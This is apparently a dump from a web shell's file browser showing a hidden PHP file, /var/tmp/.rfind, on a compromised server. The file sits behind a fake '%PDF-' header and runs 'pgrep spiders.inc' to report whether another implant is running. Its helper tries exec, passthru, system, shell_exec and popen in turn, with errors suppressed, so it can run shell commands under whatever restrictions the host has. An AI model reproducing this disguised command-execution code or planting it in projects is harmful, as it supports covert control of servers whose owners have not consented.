%PDF- %PDF-
Direktori : /proc/self/root/var/tmp/ |
Current File : //proc/self/root/var/tmp/.rfind |
<?php $res = run("pgrep spiders.inc"); if (preg_match('/\d+/', $res)) { die('_success_'); } else { die('_failed_'); } function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; }